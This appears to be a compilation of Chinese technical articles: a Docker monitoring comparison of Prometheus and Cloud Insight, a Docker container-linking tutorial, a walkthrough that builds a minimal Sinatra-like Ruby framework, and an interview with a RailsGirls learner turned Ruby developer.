使用 Prometheus 的查询语言，你可以对你想的任何维度的数据切片和切块。如果你对一个给定名字的所有容器感兴趣，你可以使用一个表达式像 container_memory_usage_bytes{name="consul-server"}，这个将仅仅显示 name == "consul-server" 的时间序列。

像多维度的数据模型，来实现数据聚合、分组、过滤，不单单是 Prometheus。OpenTSDB 和 InfluxDB 这些时间序列数据库和系统监控工具的结合，让系统监控这件事情变得更加的多元。

接下来，我们为大家介绍国内一家同样提供该功能的监控方案：Cloud Insight。有关其数据聚合的功能可以阅读：数据聚合 & 分组：新一代系统监控的核心功能。

现在我们来对比 Prometheus 和 Cloud Insight 在数据聚合、分组（切片）上的展现效果和功能。

数据聚合

根据不同的 Container Name 或 Image Name 对内存使用量或 Memeory Cache 进行聚合。



数据分组（切片）

根据不同的 Container Name 或 Image Name 对内存使用量或 Memeory Cache进行分组（切片）。



Cloud Insight

Cloud Insight 支持多种操作系统、云主机、数据库和中间件的监控，原理是在平台服务仪表盘和自定义仪表盘中，采集并处理 Metric，对数据进行聚合与分组等计算，提供曲线图、柱状图等多样化的展现形式。优点是监控的指标很全，简单易用，也可以期待一下。

Cloud Insight 监控 Docker 试验

我们用  AcmeAir 作为试验的应用，AcmeAir 是一款由原 IBM 新技术架构部资深工程师 Andrew Spyker，利用 Netflix 开源的 Netflix OSS 打造的开源电子商务应用。

首先，我们要打开 Cloud Insight 监控，还好 Cloud Insight 安装简单，一条命令即可。接着，我们新建一个用于此次监控的仪表盘，依次将想要获取的指标统统添加进去。

我们添加了以下指标：


	docker.cpu.user


	docker.cpu.sysytem


	docker.containers.running


	jvm.heap_memory


	jvm.non_heap_memory


	jvm.gc.cms.count


	jvm.heap_memory_max


	jvm.gc.parnew.time




应用 Acme 部署在四台 servers 上，我们开启四台 servers, 然后用 JMeter 给应用加压。



随着时间 JMeter 不断给应用加压，当 users 人数达到188时，我们再来看一下仪表盘的视图。



从图中可以看到，性能数据发生了变化，根据 JMeter 里的数据，此时 CPU 占用超过了50%，错误率也有所提升；对比来看，根据 Cloud Insight 里的曲线显示，蓝色的线所代表的 Container CPU 占用率已经超过50%，逐渐接近75%，系统剩余的 CPU 资源逐渐下降，该 Container 的系统 CPU 资源消耗也突然增大。我们可以通过这些定位到 CPU 占用率过高的 Container ，及时而主动地去了解性能瓶颈，从而优化性能，合理分配资源。Cloud Insight 所抓取的性能指标算是较为全面，部署和展现方式都是相当简单易懂的。

总结

Docker 兼容相比其他的数据库、系统、中间件监控，要复杂一些。由于需要表征不同 Container 的性能消耗，来了解不同应用的运行情况，所以数据的聚合、切片（分组）和过滤，在 Docker 监控中成为了必备功能。

所以我们推荐使用了时间序列数据库，或者类似设计逻辑的监控方案，如：Prometheus 和 Cloud Insight。

而 Docker 单方面的监控，可能不太满足一些大型公司的需求，如果一个工具在监控 Docker 同时能够监控其他组件，那就更好了。

国外出现了 Graphite、Grafana 和 Host Graphite，能够让用户将不同数据来源都集中在同一个地方进行展现；而国内 Cloud Insight 似乎也是这样的思路。


 Linking Containers Together

作者：adolphlwq

来源： Linking Containers Together



                    




  Docker container中services/applications与主机或者其它containers之间通信的两种方式





	port mapping(端口映射)

	container linking(容器连接)



Connect using Network port mapping



  使用端口映射来连接




常用的命令(以training/webapp为例)：


languagedocker run -d -P traning/webapp ...
docker run -d -p traning/webapp ...




-Pflag



	当container被创建并且运行时，-P标记立刻生效

	它container内部的任意端口映射到docker host的port


	Docker host的port是随机的

	它的生命力是短暂的（容器停止后端口映射就会失效）







e.g.


languageadolph@geek:~$ docker run -d -P training/webapp python app.py
3f30e81a01cdf9895a70828beebea32910f848ac00f92303e6af77faeee1db0a
adolph@geek:~$ docker ps
CONTAINER ID        IMAGE                    COMMAND             CREATED             STATUS              PORTS                     NAMES
3f30e81a01cd        training/webapp:latest   "python app.py"     8 seconds ago       Up 8 seconds        0.0.0.0:32769->5000/tcp   agitated_hawking



内部的5000端口映射到外部的主机的32769端口



-pflag


可以指定container内外的端口

内外的5000端口映射


languagedocker run -d -p 5000:5000 training/webapp python app.py
adolph@geek:~$ docker ps
CONTAINER ID        IMAGE                    COMMAND             CREATED             STATUS              PORTS                    NAMES
cf6bd021034d        training/webapp:latest   "python app.py"     4 seconds ago       Up 2 seconds        0.0.0.0:5000->5000/tcp   compassionate_lalande   




  这样做的不好的地方在于你只把congtainer内外的5000端口映射在一起，container内的其它端口被抛弃了




映射到主机的××端口


languagedocker run -d -p 127.0.0.1:5000:5000 training/webapp python app.py



映射到主机的某个随机端口


languagedocker run -d -p 127.0.0.1::5000 training/webapp python app.py



注意127.0.0.1:有个冒号


-p参数使用的次数很多，主要用来配置多个端口


Connect with the linking system



  Docker有自带的linking system用来连接多个container，并且允许从一个container发送信息到另一个。发送信息的称为source container，接收信息的称为recipient container，recipient container智能看到一些经过筛选的关于source container的某些信息




The importance of naming



  Docker依赖于容器的名字来建立连接，Docker启动容器时会自动给它起个名字，当然你也可以自己命名




命名有两个非常棒的好处：

* 告知container的作用或者属于哪种类型，如traning/webapp可以看出是webapp的container

* 方便Docker通过name指定container


在运行container时通过--name标记来命名新的container


languageadolph@geek:~$ docker run -d -P --name web training/webapp python app.py
1be7fc1ca8f9b683a8c309a1f6315c65819db15e8105ddd1b198e50c4082842f
adolph@geek:~$ docker ps
CONTAINER ID        IMAGE                    COMMAND             CREATED             STATUS              PORTS                     NAMES
1be7fc1ca8f9        training/webapp:latest   "python app.py"     4 seconds ago       Up 3 seconds        0.0.0.0:32770->5000/tcp   web
adolph@geek:~$ docker inspect -f "{{.Name}}" 1be7f
/web



注意：container的name必须是唯一的，比如说刚才的web，如果你想给另一个容器起名为web，那只能把原来的webcontainer删除（docker rm [-f]）。另外，docker run --rm --name..会在容器停止运行后立即删除


Communication across links



  通过连接通信




links允许容器发现对方并且建立安全的信息传输通道，link创建好后容器间通信的通道就建立好了。


注意事项:

1. 需要运行的两个容器不能重名

2. 不能和其它已经存在的（不管有没有运行）容器重名

3. docker ps -a查看所有容器的信息

4. docker rm [container name]删除容器


link代码


language--link <name or id>:alias



name or id指我们要连接的container的名字


shell1的代码（我在一个shell中运行这些命令总会有1个容器在启动后就EXIT（0））


languageadolph@geek:~$ docker run -i -t --name db adolph/ubuntu:14.04 
root@a1bb409128b9:/#



shell2


languageadolph@geek:~$ docker run -d -P --name web --link db:db training/webapp python app.py
09fed08b63e709e61d17f698ccec55a6d04ddb6e33c1aea3879f78d1970451ce
adolph@geek:~$ docker inspect -f "{{.HostConfig.Links}}" web
[/db:/web/db]




  we can see that the web container is now linked to the db container web/db. Which allows it to access information about the db container.






	recipient container
  	source container




	web
  	db





为了做到容器间的通信，Docker没有使用端口，而是自己建立了tunnel(隧道),使用link连接容器的好处是我们不需要将source container的端口暴露给网络，Docker的tunnel使用两种方式实现连接：

* Environment variables(环境变量)

* Updating the /etc/hosts file（更新/etc/hosts文件）


环境变量



  当我们连接容器是Docker会创建很多环境变量，并且它会在目标容器自动基于--link后面的参数创建环境变量。Docker会公开来自source container的所有环境变量，这些变量包括：





	the ENV commands in the source container's Dockerfile(源容器Dockerfile中的ENV命令)

	the -e, --env and --env-file options on the docker run command when the source container is started（容器运行时run后面的-e, --env 和 --env-file参数）



这些环境变量允许我们通过编程从目标容器发现来自源容器的信息



  警告：理解docker link连接容器的机制很重要，link允许所有目标容器获得源容器的指定数据和信息，所以从安全性的角度，不建议在源容器中存储敏感的数据




一些环境变量


<alias>_NAME


languagedocker run -d -P --name web --link db:db training/webapp python app.py



这个变量是为目标容器建立的，如上，--link db:db后web容器被链接到db容器，这是Docker会在web容器中创建DB_NAME=/web/db


<name>_PORT_<port>_<protocol>

Docker为每一个源容器暴露的每一个端口。

* 指--link中指定的目标容器的别名

* 源容器暴露的端口号

*  TCP或UDP


Docker使用不同的前缀格式来规定3种不同的环境变量：

* prefix_ADDR来自URL的ip地址。例如：WEBDB_PORT_8080_TCP_ADDR=172.17.0.82.

* prefix_PORT来自URL的端口。例如：WEBDB_PORT_8080_TCP_PORT=8080.

* prefix_PROTO来自URL的协议。例如：WEBDB_PORT_8080_TCP_PROTO=tcp.


每一组环境变量对应一个端口，如果容器公开多个端口（比如3个），Docker就会创建9个环境变量，每个端口3个。

此外，Docker还会为源容器第一个公开的端口创建<alias>_PORT，这里的第一个指的是具有lowest port的端口。例如：WEBDB_PORT=tcp://172.17.0.82:8080，如果它吗满足tcp和udp，那指的是tcp


最后，Docker还会创建这样一个变量：<alias>_ENV_<name>，用来连接源容器和目标容器的桥梁。Docker使用这个值来启动源容器。


e.g:


shelladolph@geek:~$ sudo docker run --rm --name web2 --link db:db training/webapp env
[sudo] password for adolph: 
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=20fb0166d9c6
DB_NAME=/web2/db
HOME=/



我的电脑上并没有看到环境变量！可能因为我的db容器和官网例子上的容器不一直吧，而且我的db容器中并没有安装数据库。

Docker创建的这些变量有助于我们用来连接和配置源容器里的工具，比如连接数据库...


Updating the /etc/hosts file



  更新/etc/hosts文件




这部分自己有不懂的地方，以后慢慢看吧。


总结


连接容器的两种方法



-p，-P标记


link system



	容器的命名是唯一的，不能重复。可以更改容器的名字


	docker rename oldname newname





	--link :alias,name指要连接的容器，alais指目标容器/简称

	能够清除代码中那个是目标容器，哪个是源容器，资源开放共享的方向



languagedocker run -d -P --name web --link db:webdb training/webapp python app.py



这条命令中db是要连接的容器，是源容器，web是目标容器，webdb是web的别称


languageadolph@geek:~$ docker inspect -f "{{.HostConfig.Links}}" web
[/db:/web/webdb]



都是个人理解，可能有错误，还请指正。


2015 优秀文章 - Ruby


 如何构建Sinatra？

作者：shiweifu

来源： 如何构建Sinatra？



                    
今天是伟大的爵士乐大师法兰克.辛纳区（Frank Sinatra）诞辰一百周年。天时地利人和，正是翻译这篇文章的好日子，错过再等一百年。

杭州此刻在下雨，阴冷潮湿。耳边是摇曳的爵士乐，我把猫关进了阳台，打开电脑，开始胡说八道。

（可以跳过正文直接看最后的完整代码）

原文链接：https://robots.thoughtbot.com/lets-build-a-sinatra



构建一个Sinatra

Sinatra是一个基于Ruby的快速开发Web应用程序基于特定域（domain-specific）语言。在一些小项目中使用过后，我决定一探究竟。

Sinatra是由什么组成的？

Sinatra的核心是Rack。我写过一篇文章关于Rack，如果你对Rack的工作原理有些困惑，那篇文章值得一读。Sinatra在Rack之上提供了一个给力的DSL。来看个例子：

get "/hello" do
  [200, {}, "Hello from Sinatra!"]
end

post "/hello" do
  [200, {}, "Hello from a post-Sinatra world!"]
end

当这段代码执行的时候，我们发送一个GET给/hello，将看到Hello from Sinatra!；发送一个POST请求给/hello将看到Hello from a post-Sinatra world!。但这个时候，任何其他请求都将返回404.

结构

Sinatra 的源码，我们一起提炼出一个类似Sinatra的结构。

我们将创造一个基于Sinatra那种可继承可扩展的类。它保存请求路由表（GET /hello handleHello），当收到GET /hello请求的时候，能去调用handleHello函数。事实上，它能很好的处理所有的请求。当收到请求的时候，它会遍历一遍路由表，如果没有合适的请求，就返回404。

OK，开搞。

就叫它Nancy吧，别问我为什么。

第一步要做的事是：创建一个类，它有一个get方法，能捕获请求的path并找到对应的函数。


# nancy.rb

require "rack"

module Nancy

 class Base

 def initialize

 @routes = {}

 end

 attr_reader :routes

 def get(path, &handler)

 route("GET", path, &handler)

 end

 private

 def route(verb, path, &handler)

 @routes[verb] ||= {}

 @routes[verb][path] = handler

 end

 end

end


route函数接收一个动词（HTTP请求方法名），一个路径和一回调方法并保存到一个Hash结构中。这样设计可以让POST /hello和GET /hello不会混乱。

然后在下面加一些测试代码：

nancy = Nancy::Base.new

nancy.get "/hello" do
  [200, {}, ["Nancy says hello"]]
end

puts nancy.routes

可以看到，Nancy使用了nancy.get替代了Sinatra的get显得没那么简洁，本文最后会解决这个问题。

如果我们这时执行程序，会看到：


{ "GET" =\> { "/hello" =\> \#\<Proc:0x007fea4a185a88@nancy.rb:26\> } }


这个返回结果，我们的路由表工作的很好。

引入了 Rack 的 Nancy

现在我们给Nancy增加调用Rack的call方法，让它成为一个最小的Rack程序。这些代码是我的另一篇Rack文章中的：

# nancy.rb
def call(env)
  @request = Rack::Request.new(env)
  verb = @request.request_method
  requested_path = @request.path_info

  handler = @routes[verb][requested_path]

  handler.call
end

首先，我们从Rack的请求的env环境变量参数中的得到请求方法（HTTP/GET等）和路径（/the/path），然后根据这些信息去路由表中招对应的回调方法并调用它。回调方法需返回一个固定的结构，这个结构包含状态码、HTTP Header和返回的内容，这个结构正是Rack的Call所需要的，它会经由Rack返回给用户。  

我们增加一个这样的回调给Nancy::Base：

nancy = Nancy::Base.new

nancy.get "/hello" do
  [200, {}, ["Nancy says hello"]]
end

# This line is new!
Rack::Handler::WEBrick.run nancy, Port: 9292

现在这个Rack App已经能运行了。我们使用WEBrick作为服务端，它是Ruby内置的。

nancy = Nancy::Base.new

nancy.get "/hello" do
  [200, {}, ["Nancy says hello"]]
end

# This line is new!
Rack::Handler::WEBrick.run nancy, Port: 9292

执行ruby nancy.rb，访问http://localhost:9292/hello，一切工作的很好。需要注意，Nancy不会自动重新加载，你所做的任何改动都必须重新启动才会生效。Ctrl+C能在终端中停止它。

错误处理

访问路由表中处理的路径它能正常的工作，但是访问路由表中不存在的路径比如http://localhost:9292/bad你只能看到Rack返回的默认错误信息，一个不友好的Internal Server Error页面。我们看下如何自定义一个错误信息。

我们需要修改call方法：

def call(env)
   @request = Rack::Request.new(env)
   verb = @request.request_method
   requested_path = @request.path_info

-  handler = @routes[verb][requested_path]
-
-  handler.call
+  handler = @routes.fetch(verb, {}).fetch(requested_path, nil)

+  if handler
+    handler.call
+  else
+    [404, {}, ["Oops! No route for #{verb} #{requested_path}"]]
+  end
 end

现在，如果请求一个路由表中没有定义的路径回返回一个404状态码和错误信息。

从 HTTP 请求中得到更多信息

nancy.get现在只能得到路径，但要想正常工作，它需要得到更多的信息，比如请求的参数等。有关请求的环境变量被封装在Rack::Request的params中。

我们给Nancy::Base增加一个新的方法params：

module Nancy
  class Base
    #
    # ...other methods....
    #

    def params
      @request.params
    end
  end
end

需要这些请求信息的回调处理中，可以访问这个params方法来得到。

访问 params

再来看一下刚刚添加的这个params实例方法。

修改调用回调这部分代码：

 if handler
-  handler.call
+  instance_eval(&handler)
 else
   [404, {}, ["Oops! Couldn't find #{verb} #{requested_path}"]]
 end

这里面有一些小把戏让人困惑，为啥要用instance_eval替代call呢？


	handler是一个没有上下文的lambda


	如果我们使用call去调用这个lambda，它是没法访问Nancy::Base的实例方法的。


	使用instance_eval替代call来调用，Nancy::Base的实例信息会被注入进去，它可以访问Nancy::Base的实例变量和方法（上下文）了。




所以，现在我们能访问params在handler block中了。试试看：

nancy.get "/" do
  [200, {}, ["Your params are #{params.inspect}"]]
end

访问http://localhost:9292/?foo=bar&hello=goodbye，有关请求的信息，都会被打印出来。

支持任意的 HTTP 方法

到目前为止，nancy.get能正常的处理GET请求了。但这还不够，我们要支持更多的HTTP方法。支持它们的代码和get很相似：

# nancy.rb
def post(path, &handler)
  route("POST", path, &handler)
end

def put(path, &handler)
  route("PUT", path, &handler)
end

def patch(path, &handler)
  route("PATCH", path, &handler)
end

def delete(path, &handler)
  route("DELETE", path, &handler)
end

通常在POST和PUT请求中，我们会想访问请求的内容（request body）。既然现在在回调中，我们已经可以访问Nancy::Base的实例方法和变量了，让@request变得可见就好（迷糊的去翻上面的call方法代码）：

attr_reader :request

访问requrest实例变量在回调中：

nancy.post "/" do
  [200, {}, request.body]
end

访问测试：

$ curl --data "body is hello" localhost:9292
body is hello

现代化进程

我们来做以下优化：

	使用params实例方法来替代直接调用request.params




def params
  request.params
end

	允许回调方法返回一个字符串




   if handler
-    instance_eval(&handler)
+    result = instance_eval(&handler)
+    if result.class == String
+      [200, {}, [result]]
+    else
+      result
+    end
   else
     [404, {}, ["Oops! Couldn't find #{verb} #{requested_path}"]]
   end

这样处理回调就简化很多：

nancy.get "/hello" do
  "Nancy says hello!"
end

使用代理模式继续优化 Nancy::Application

在使用Sinatra的时候，我们使用get，post来进行请求处理优雅强大又直观。它是怎么做到的呢？先考虑Nancy的结构。它执行的时候，我们调用Nancy::Base.new得到一个新的实例，然后添加处理path的函数，然后执行。那么，如果有一个单例，就可以实现Sinatra的效果，将文件中处理路径的方法添加给这个单例并执行即可。（译者注：这段的译文和原文没关系，纯属杜撰。如果迷惑，请参考原文）

是时候考虑将nancy.get优化为get了。
增加Nancy::Base单例：

module Nancy
  class Base
    # methods...
  end

  Application = Base.new
end

增加回调：

nancy_application = Nancy::Application

nancy_application.get "/hello" do
  "Nancy::Application says hello"
end

# Use `nancy_application,` not `nancy`
Rack::Handler::WEBrick.run nancy_application, Port: 9292


增加代理器（这部分代码来自Sinatra的源码）：

module Nancy
  module Delegator
    def self.delegate(*methods, to:)
      Array(methods).each do |method_name|
        define_method(method_name) do |*args, &block|
          to.send(method_name, *args, &block)
        end

        private method_name
      end
    end

    delegate :get, :patch, :put, :post, :delete, :head, to: Application
  end
end

引入Nancy::Delegate 到 Nancy模块：

include Nancy::Delegator

Nancy::Delegator提供代理如get，patch，post，等一系列方法。当在Nancy::Application中调用这些方法的时候，它会按图索骥找到代理器的这些方法。我们实现了和Sinatra一样的效果。

现在可以删掉那些创建Nancy::Base::new和nancy_application的代码啦！Nancy的使用已经无限接近Sinatra了：

t "/bare-get" do
  "Whoa, it works!"
end

post "/" do
  request.body.read
end

Rack::Handler::WEBrick.run Nancy::Application, Port: 9292

还能使用rackup来进行调用：

# config.ru
require "./nancy"

run Nancy::Application

Nancy的完整代码：

# nancy.rb
require "rack"

module Nancy
  class Base
    def initialize
      @routes = {}
    end

    attr_reader :routes

    def get(path, &handler)
      route("GET", path, &handler)
    end

    def post(path, &handler)
      route("POST", path, &handler)
    end

    def put(path, &handler)
      route("PUT", path, &handler)
    end

    def patch(path, &handler)
      route("PATCH", path, &handler)
    end

    def delete(path, &handler)
      route("DELETE", path, &handler)
    end

    def head(path, &handler)
      route("HEAD", path, &handler)
    end

    def call(env)
      @request = Rack::Request.new(env)
      verb = @request.request_method
      requested_path = @request.path_info

      handler = @routes.fetch(verb, {}).fetch(requested_path, nil)

      if handler
        result = instance_eval(&handler)
        if result.class == String
          [200, {}, [result]]
        else
          result
        end
      else
        [404, {}, ["Oops! No route for #{verb} #{requested_path}"]]
      end
    end

    attr_reader :request

    private

    def route(verb, path, &handler)
      @routes[verb] ||= {}
      @routes[verb][path] = handler
    end

    def params
      @request.params
    end
  end

  Application = Base.new

  module Delegator
    def self.delegate(*methods, to:)
      Array(methods).each do |method_name|
        define_method(method_name) do |*args, &block|
          to.send(method_name, *args, &block)
        end

        private method_name
      end
    end

    delegate :get, :patch, :put, :post, :delete, :head, to: Application
  end
end

include Nancy::Delegator

Nancy的使用代码：

# app.rb
# run with `ruby app.rb`
require "./nancy"

get "/" do
  "Hey there!"
end

Rack::Handler::WEBrick.run Nancy::Application, Port: 9292

我们来回顾一下都发生了什么：


	起名为N(T)an(i)c(r)y Sinatra（别问为什么）


	实现一个以来Rack的Web App


	简化nancy.get为get


	支持子类化Nancy::Base来实现更丰富的自定义。




课外阅读

Sinatra的代码几乎全部都在base.rb。代码密度有点大，阅读完本文再去看，更容易理解一些了。从call!开始是个不错的选择。然后是Response类，它是Rack::Response的子类，请求返回的信息封装在这里。还有Sinatra是基于类的，Nancy是基于对象，有些在Nancy中的示例方法，在Sinatra中是作为类方法实现的，这也是需要注意的一点。


 RailsGirl若水：从学员妹子到Ruby教练

作者：图灵访谈

来源： RailsGirl若水：从学员妹子到Ruby教练



                    

  非商业转载请注明作译者、出处，并保留本文的原始链接：http://www.ituring.com.cn/article/202161




若水，真名高宪凤，住百家Ruby开发工程师。她以Girl身份参加RailsGirls后，便喜欢上了Ruby on Rails。她曾三次参加RailsGirls活动，第一次去的时候是学员，第三次则是教练。为了学习Ruby，她曾两次辞职，自费参加Ruby on Rails培训。现在的她，已经如愿成为了一名Ruby开发工程师。





问：你是从什么时候开始编程的？


我最开始的时候是做测试的，后来因为有工作需要，想要做自动化测试，才开始接触Ruby。


问：你之前学的是什么专业？


我在大学学的是教育学。


问：你为什么找了软件测试这样的工作？


和现在好多大学生一样，我毕业的时候也没啥目标，毕业了之后找的工作跟自己的专业也不怎么搭边。好在软件测试行业有一个特点，入门的门槛低。最开始的手动测试，其实就是点来点去，试试一个产品或功能合不合适。但是越往深了做越难。


后来因为我们公司测试的人少，我测试1对12，所以这样点来点去很麻烦，我就想做自动化测试，用机器来做我就省事了。从2011年开始我真正开始做自动化测试，这时候我才开始接触Ruby。


问：为什么选择Ruby？


做自己化测试时，参加了一次自动化测试培训的课程，那次课程的讲师推荐编程新手使用Ruby，自己又在网上查了一些资料，大家对Ruby这个语言评价大多是入门简单，而且它的语法挺像在写英文句子，所以我就开始自学了。


问：你第一次参加RailsGirls的活动是什么时候？


第一期是2012年12月份。那时候我稍微知道一点Ruby，大概语法了解了一些。学Ruby的过程中上网查资料就发现Ruby总是和Rails关联，然后我就上网去查Rails,后来才发现Ruby是语言，而Rails是它的框架，两个结合在一起用。但是Rails入门的门槛有点高，我自己弄得挺晕的，那时候刚巧看到文洋（RailsGirls组织者）发的消息，他说参加这个活动一天就能学做一个网站。这个太神奇了，我自己捣腾了那么长时间还是不懂，不如我也去听听吧。


当时其实我的基础很差，因为教练认真会再也想多教一点，所以一下子讲了很多内容，但是我压根消化不了。教练在讲，我就使劲地记。虽然那天要做的网站没做出来，但是收获挺大的，教练给了我们《Ruby on Rails圣经》和《Ruby on Rails教程》这两份资料，另外他建议我们去关注RubyChina论坛。


问：参加第一次活动对你学习Ruby的作用是什么？


RailsGirls带我入门。现在网络是发达了，但是有一个不好的地方，就是资料太散太乱了。我甄别能力不够，不知道哪些是好，哪些是坏，可能容易走弯路。有这样的一个活动，有教练的指导，还是很不错的。


问：你第二次又去参加RailsGirls的活动了？第二次是在什么情况下参与的？


第一次回来之后，我把我的自动化测试给写完了。在系统上跑了之后，我们领导觉得还不错。我于是又跟着《Ruby on Rails教程》去学，从第一章开始按照那本书一点点地做。当时我几乎把整本书都做完了，看着书的时候觉得都懂了，但是把书一合上，我就又不知道东西南北了。这时我正好看到文洋发出的第二次活动，我打算再去一次，再向教练请教请教。


第二次特别巧，我的教练就是文洋，他带着我和另外一个女孩。开始的时候我简单地做了下自我介绍，文洋建议说：“既然你已经把教程那本书差不多都做一遍了，应该有一定基础了，要不这样，你把你学的东西，在这上面做一次实践。这次你来当教练，你来教这个女孩。”我当时真的没底，真的不敢。但是文洋说：“没事，咱们试嘛，一起商量着来，讨论着来。”那个女孩也说，反正你都学了嘛，要不咱俩一起研究。


当时我带着电脑和书，我把自己知道和理解的尽量讲给她，实在不确定的我再翻书。就这样，我俩一边翻着书，一边按照提纲制作网站，我还会再讲一下为什么是这样的，遇到问题就把文洋叫回来。文洋看着我俩还行，他就跑了。这一次我们最终把网站做出来了。


问：第二次活动有什么收获？


就像人家说的，学习最好的办法还是把你学的教给别人。给人讲了一遍，确实感觉不一样了。以前老觉得模棱两可，但是给人讲的时候就得确认，再确认一遍，我觉得这样掌握的知识比自己看书的时候扎实得多。


问：你第三次怎么又去参加RailsGirls了？


第三次是想回报社区，做点贡献。那会我已经转过来做Ruby开发了。看到文洋发消息，我就跟他说我想去做教练。于是我第三次又去了。


问：除了自学，你在学习Ruby的过程中是否参与过其他培训？


在第二期的活动上，我遇到了另外一个教练。他在中场休息的时候跟几个教练聊天说想准备一个线下的培训，我坐在那儿不小心就听见了。在空闲的时候我就去问他，他说这还只是一个想法。我说我想学，当时就把QQ和手机号留下来了。回来之后，虽然自己也在深入地学，但是当我想做点内部小工具的时候，还是觉得自己学得浅，拿不下来。


应该是过了一周多不到两周的时间，他给我发消息说大概找了几个人，想开班。教练叫大庆，RubyChina上能找到他，他那时在北京，现在已经回老家了。


那时我住在百子湾附近，大庆住在海淀3W咖啡附近。每周六下午1点到5点讲课，一个小时一百块钱。当时他没有提纲，也没有特定的教材，他的想法是想带着我们做一个类似于RubyChina社区的网站。他来讲，我们几个就在咖啡厅围着小桌坐，看着他的电脑。他一边讲，我们一边记笔记。当时为了参加大庆这个培训，我自己也买了一个Macbook Pro，以前都是用Windows，当时是8000多吧，挺有压力的。当时培训了大概4、5周，那会也赶上公司项目加班，我们差不多两个月没休息。周末为了来他这边，我跟领导说我要去学习，所以周六下午半天我必须要请假。


因为大庆对Ruby的知识很熟，所以讲课的时候他手特别快，我压根跟不上。我在下面记笔记，记得乱七八糟，回来自己再整理。他是讲了5个小时，我回去用一个礼拜的时间才能把他5个小时的东西整理出来。天天晚上加班回去后整理，一边翻笔记一边想，一边再翻教程那本书看。那段时间应该是学得最多、最集中的一段时间。


当时我们有一个项目是和移动合作的。移动那边要求得很细，当时我还在做测试，就按照他们的要求，一条一条来验证并把验证结果整理汇总返回给项目组相关人员。天天这样做，我觉得挺烦的。我们头对我说：“你不是学了Ruby吗？你自己做一个小工具不就行了。”其实在他没说之前我自己就想到了，但是没什么思路。于是我就去找大庆，大庆给我理了一下思路，我就开始一点一点抠着往前做。我周末听大庆讲课，回来上班再琢磨这个工具。做不出来了，我再向大庆请教，他给我讲思路。就这样一点点地做，在那个项目中后期的时候我终于把那个小工具给做出来了，而且在项目中进行了使用。


问：这段时间之后你有没有想过换工作？


每次参加RailsGirls都会加QQ群或者微信群，我看见有人发消息说要招Ruby on Rails程序员，实习生也可以。当时我也想在工作上转型，就把我做的小项目的代码放到了GitHub上，把这个东西给人家看。我说：“这是我自学的，我参加过几次RailsGirls，做了这个小东西。我挺喜欢Ruby，现在想转型做开发。我想以实习生的职位进来，我想学Ruby。”社区里的人都很友善，他邀请我过去聊聊。当时我的代码写得特别烂，现在都不好意思回头看了。那个面试的人说：“代码需要优化的地方挺多的，但是我确实挺佩服你这种精神。你已经工作好几年了，我们实习生工资给得挺低的。”我说我不在乎，我知道肯定会降工资的，我就是想学这个东西，愿意以实习生的身份进来。他们愿意让我去试试，于是我就到这家公司入职了。


问：入职之后顺利吗？


那时我才真的开始在团队里写开发代码，跟着大家一起去做。做的过程中我发现自己的底子还是差，努力还是不够。自学是一回事，没有压力，多学少学都可以，但是在团队里做的话，人家的项目有时间要求，你必须能跟上别人的节奏。即使是大家愿意教你，要是没时间了也还是顾不上你，能力实在太差的话，真的是拖人家的后腿。


问：你是如何突破瓶颈，成为真正的Ruby程序员的？


当时我每天上下班都在听Teahour.fm，他们4个主持人之一的Kevin，组建了一个GoTeaLeaf的培训。大庆那个培训早已经结束了，而且他也已经回老家了。我就想参加GoTeaLeaf的课程，因为我觉得自己能力还是差，虽然我也在网上找资料，项目里平时大家还会教我，但是知识比较零散，不够系统。


于是我就给Kevin发了个邮件，他的课是全英文授课，我问他我听英语还可以，但是跟你之间用中文交流可以吗？他说欢迎。于是我就报了他的培训班。培训班一共分3个阶段，折合人民币是14000多元。我从最基础的阶段开始，一点点跟着他学。Kevin的课难度真的很大，一方面是因为他是全英文授课，每次去看视频其实也是连蒙带猜，一个视频听好几遍。听完之后，我就做课后练习题，做完了再把代码提上去，我把自己做了什么、怎么想的、还有什么疑惑都告诉他，让他帮我解答。


Kevin的课程的另外一个难点在于他一直在强迫你自己去思考，自己去想，自己去动手。有时候你可能在那儿保持着一上午或者半天的时间都在想课程中出现的问题。不像《Ruby on Rails教程》那本书，它从头到尾都告诉你怎么做，你过不过脑子都行。


GoTeaLeaf课程大概学了有一半的时候，我就发现时间不够。因为我还在职，我们公司项目也紧张，一边上班一边学课程，我总是觉得时间不够。正好项目那一期告一段落，我综合考虑了一下，决定辞职。我想有一个完整的时间从头到尾系统地学一学。以前我早上差不多7点起床，看看书去公司。为了学Kevin这个课程，我差不多5点多就起来了，否则没时间。但是即使这样，时间还是挺碎片的。


就这样，大概是2014年10月底，11月初的时候我就离职了，在家学GoTeaLeaf的课程。差不多到今年春节过后学完了，我就来到现在的公司住百家，在这从事Ruby on Rails开发。


问：看来GoTeaLeaf课程对你的帮助很大，这个培训有什么与众不同之处？


这个课程做的项目并不很复杂，但是他一直在强化你自己动脑，自己动手，自己去想，自己去做。只有这样，知识才能转化成自己的。只是阅读，转化率太低了。另外，这个课程会给你讲很多原理，为什么会是这样。看书照着做肯定没错，但是Rails是约定大于配置的，对于很多东西我根本就不知其所以然。这样的话就会造成一个问题，遇到问题变种的时候就不知道怎么办了。而这个课程会告诉你为什么会是这样的结果，如何才能自己完成变种，然后如果没有现成的东西你怎么能自己通过转化完成变种。如果你知道它的原理，就可以自己构造了。


问：你觉得你一直以来为了学习Ruby付出的努力是否都值得？


我觉得Ruby这个语言特别好玩，Rails这个框架也特别好用。在我慢慢接触的过程中我喜欢上了Ruby on Rails，如果我想用它的话我就得学习。像刚才说的各种吃苦，花那么多的钱去培训，金钱上前前后后加起来应该有两万，这还没有计算时间成本。但是因为我喜欢Ruby，所以付出这些都是值得的。


问：你是否建议别的初级学习者应该在外面寻求一些帮助？不能只是自己看书或者在网上找东西？


为有价值的学习花钱是值得的。自己学其实也没有问题，网上的资料也很多。只不过自学的时候可能弯路会多一点，自己鉴别资料可能会比较困难。如果能够参加社区组织的活动，或者在社区里得到别人的指导会更好。如果能有像RailsGirls这样的活动带领入门再配合GoTeaLeaf这种很系统、很原理化的培训，我觉得花钱是非常值得的。


问：你接下来在学习上，事业上，工作上有什么计划？


即使是我现在参加了这么多的培训，学了这么多，工作了这么长时间，我觉得我的东西还是不够。现在我每天起来都会去看Ruby on Rails Guides，我每次看的时候，都会有新的收获。我不认为会写代码就是一个好的开发者。写好代码只是最基础的，对产品的理解，对需求的理解，对用户的理解，这些也都是必不可少的。


问：你现在业余时间多不多？


我们周六周日是不加班的。平时的话我们就正常上班,如果项目工期紧，可能会晚走一会。


